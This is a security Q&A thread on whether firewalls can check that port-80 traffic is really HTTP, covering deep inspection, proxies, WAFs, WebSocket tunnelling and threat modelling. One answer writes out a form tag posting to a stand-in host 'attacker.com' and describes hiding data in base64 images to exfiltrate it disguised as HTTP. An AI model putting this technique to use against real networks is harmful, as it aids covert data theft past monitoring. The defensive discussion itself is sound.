19

We are currently doing port whitelisting on our firewalls which is working well but this of course does not prevent the implementation of side channels or the misuse of these ports for other purposes. For example, an attacker could still initialize a netcat backconnect session when the outside listener is listening on port 80.

Is there a way to analyze the payload of every packet to ensure that it is using the protocol that is usually assigned to the destination port?

This is of course only an example and I'm aware of the possibility to hide the payload in a seemingly correctly designed payload. It's all about making it harder for the bad guys.

davidb
  • 4,285
  • 3
  • 19
  • 31

4 Answers4

20

IDSs and several deep inspection firewalls (sometimes called NGFW or UTM) can usually detect whether the traffic is HTTP or not. Also a HTTP proxy in front would simply block anything which is not proper HTTP.

But be aware that it is possible to build a reverse shell where the traffic will look like HTTP, so this filtering will only help a bit.

Steffen Ullrich
  • 184,332
  • 29
  • 363
  • 424
  • 4
    Indeed it's possible to build a remote shell where the traffic ***is*** HTTP. – user253751 Feb 18 '16 at 01:32
  • This is particularly easy using WebSockets, which you arguably don't want to be blocking in most cases. – Kevin Feb 18 '16 at 04:38
  • @Steffen, So how do you handle "*a reverse shell where the traffic will look like HTTP*"? – Pacerier Mar 20 '17 at 23:19
  • @Steffen, Re "*Also a reverse HTTP proxy in front would simply block anything*", do you mean ***forward*** proxy instead of reverse proxy? – Pacerier Mar 21 '17 at 01:24
  • @Pacerier: you are right in that I meant a simple forwarding (and maybe transparent) proxy. Also, a reverse shell on top of HTTP could not be detected only with this. It might help if the proxy would require HTTP authentication or similar but in theory a perfect attacker with enough knowledge of the network could just blend in. – Steffen Ullrich Mar 21 '17 at 05:46
10

The attacker can easily mimic HTTP traffic, so I will doubt any IDS/IPS would prevent a well developed shell from mimicking HTTP requests to exfiltrate data. It's very easy to create a fake HTML page, embed the images with <img src="data:image/png;base64,iVBORw0KG…8bg5CYII="> and put the traffic inside.

A lossless compression (like PNG) will allow the sending of whatever data is needed to the client inside, and data can be sent outside using <form action="http://attacker.com/submit.pl" method="post" enctype="multipart/form-data">.

psmears
  • 900
  • 7
  • 9
ThoriumBR
  • 50,648
  • 13
  • 127
  • 142
6

Advanced IPS/IDS can help you. but there are some kinds of firewalls that are completely customized for web (HTTP/HTTPS).

They are called WAFs, Web Application Firewalls.

A good WAF with a proper configuration can prevent many attacks, like the one which you're speaking about.

Lighty
  • 2,368
  • 1
  • 23
  • 36
alone
  • 61
  • 2
4

This is of course only an example and I'm aware of the possibility to hide the payload in a seemingly correctly designed payload. It's all about making it harder for the bad guys.

It's not merely "possible." It's easy. In fact, under HTML5, it is downright trivial.

With WebSockets, an HTTP-like connection can tunnel arbitrary content between client-side Javascript and a server-side web application. This is an explicit design goal of the standard, not a happy accident. While you may be able to block WebSockets, this is likely to break real-world webapps. Worse, if the attacker's site is served over HTTPS (which is also easy), you basically cannot block WSS since this would require you to conduct an active MitM attack of precisely the sort that TLS is designed to prevent.

You could issue your own root certs, install them on all your client machines, and MitM that way. But now you're playing walls and ladders with your users. By breaking WebSockets, you are giving them an incentive to find a way around your system.

The problem is that HTTP is not a "safe" or restricted protocol. It was designed to facilitate the sharing of HTML documents. It was not designed to impede uses unrelated to the sharing of documents. So, in practice, it can be used and abused in numerous ways, and avoiding this is pathologically hard.

So what can you do? Well, it depends on what you are trying to do in the first place.

If you're (say) a college, and you are trying to prevent students from consuming massive amounts of bandwidth playing online games, illegally torrenting things, etc., then track their bandwidth usage and block the top N% (for realistic N based on your network capacity).

If you're a business, and you're trying to prevent certain kinds of malware from phoning home, you should probably focus on educating your users about malware, in addition to whatever kind of non-HTTP blocking you are doing.

If you're just blocking non-HTTP because you can't think of a good reason to allow it, you should ask yourself what your threat model is. What attacks will be mitigated by this kind of blocking? What legitimate uses will stop working? Is the policy likely to annoy your users to the point that they try to circumvent it?

Kevin
  • 906
  • 6
  • 12
  • What if you are a business and you're trying to make it harder for employees to snowden your data? – Pacerier Mar 21 '17 at 02:34
  • @Pacerier: The obvious responses (which are probably wrong in many cases): 1) Don't behave in such an incredibly sketchy fashion that your employees feel the need to leak, 2) don't give users you don't trust access to data they don't need, 3) don't give users you don't trust access to data they *do* need (hire someone you trust instead), 4) give everyone a totally locked down workstation that can't browse the web, connect USB devices, etc., 5) make contingency plans, because all security is inherently imperfect. – Kevin Mar 21 '17 at 03:31